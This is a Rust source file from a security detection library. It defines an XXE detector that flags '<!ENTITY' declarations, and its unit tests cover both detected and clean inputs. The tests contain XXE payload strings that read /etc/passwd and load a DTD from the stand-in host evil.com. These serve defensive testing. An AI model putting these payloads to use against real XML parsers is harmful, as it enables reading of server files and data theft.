security_rust/protocol/
xxe.rs1use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
7
8static PATTERNS: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"(?i)<!ENTITY\s+").unwrap());
17
18pub struct XxeDetector;
19
20impl Detector for XxeDetector {
21 fn name(&self) -> &'static str {
22 "xxe"
23 }
24
25 fn detect(&self, input: &str) -> Option<DetectionResult> {
26 regex_detect(
27 std::slice::from_ref(&*PATTERNS),
28 self.name(),
29 AttackCategory::Protocol,
30 Severity::Critical,
31 "XXE XML External Entity attack detected",
32 input,
33 )
34 }
35}
36
37#[cfg(test)]
38mod tests {
39 use super::*;
40
41 fn assert_detected(input: &str) {
42 crate::test_helpers::assert_detected(
43 &XxeDetector,
44 input,
45 AttackCategory::Protocol,
46 Severity::Critical,
47 );
48 }
49
50 fn assert_clean(input: &str) {
51 crate::test_helpers::assert_clean(&XxeDetector, input);
52 }
53
54 #[test]
55 fn name_is_xxe() {
56 assert_eq!(XxeDetector.name(), "xxe");
57 }
58
59 #[test]
60 fn detects_inline_entity() {
61 assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
62 }
63
64 #[test]
65 fn detects_doctype_with_entity() {
66 assert_detected(
68 "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
69 );
70 }
71
72 #[test]
73 fn detects_parameter_entity() {
74 assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
75 }
76
77 #[test]
78 fn detects_public_entity() {
79 assert_detected(
80 "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
81 );
82 }
83
84 #[test]
85 fn detects_mixed_case_markup() {
86 assert_detected("<!entity xxe system \"file:///etc/passwd\">");
87 }
88
89 #[test]
90 fn rejects_benign_xml() {
91 assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
92 assert_clean("<ENTITY>plain text</ENTITY>");
93 assert_clean("<!DOCTYPEfoo>");
94 assert_clean("SYSTEM\"file:///etc/passwd\"");
95 assert_clean("<!ENTITY>");
96 }
97
98 #[test]
99 fn rejects_near_misses() {
100 assert_clean("<!ENTITYxxe>");
101 assert_clean("<!ENTITY%xxe>");
102 assert_clean("SYSTEM /etc/passwd");
103 }
104
105 #[test]
110 fn rejects_real_world_documents() {
111 assert_clean(concat!(
113 "<!DOCTYPE html>\n<html lang=\"zh\">\n<head>\n<meta charset=\"utf-8\">\n",
114 "<title>关于我们</title>\n</head>\n<body><p>Hello</p></body>\n</html>"
115 ));
116 assert_clean(concat!(
118 "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n",
119 "<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" ",
120 "\"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n",
121 "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\">",
122 "<path d=\"M4 4h16v16H4z\"/></svg>"
123 ));
124 assert_clean(concat!(
125 "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" ",
126 "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">"
127 ));
128 assert_clean("The report was generated with SYSTEM \"production\" settings.");
130 assert_clean("The PUBLIC \"roadmap\" document was published last week.");
131 assert_clean("/search?tag=rust&tag=security&page=2");
133 assert_clean("Please cc: ops@example.com on the reply.");
135 }
136
137 #[test]
138 fn rejects_empty_and_whitespace() {
139 assert_clean("");
140 assert_clean(" ");
141 }
142
143 #[test]
144 fn rejects_unicode_text() {
145 assert_clean("这是一段普通的中文 XML 描述文本");
146 }
147}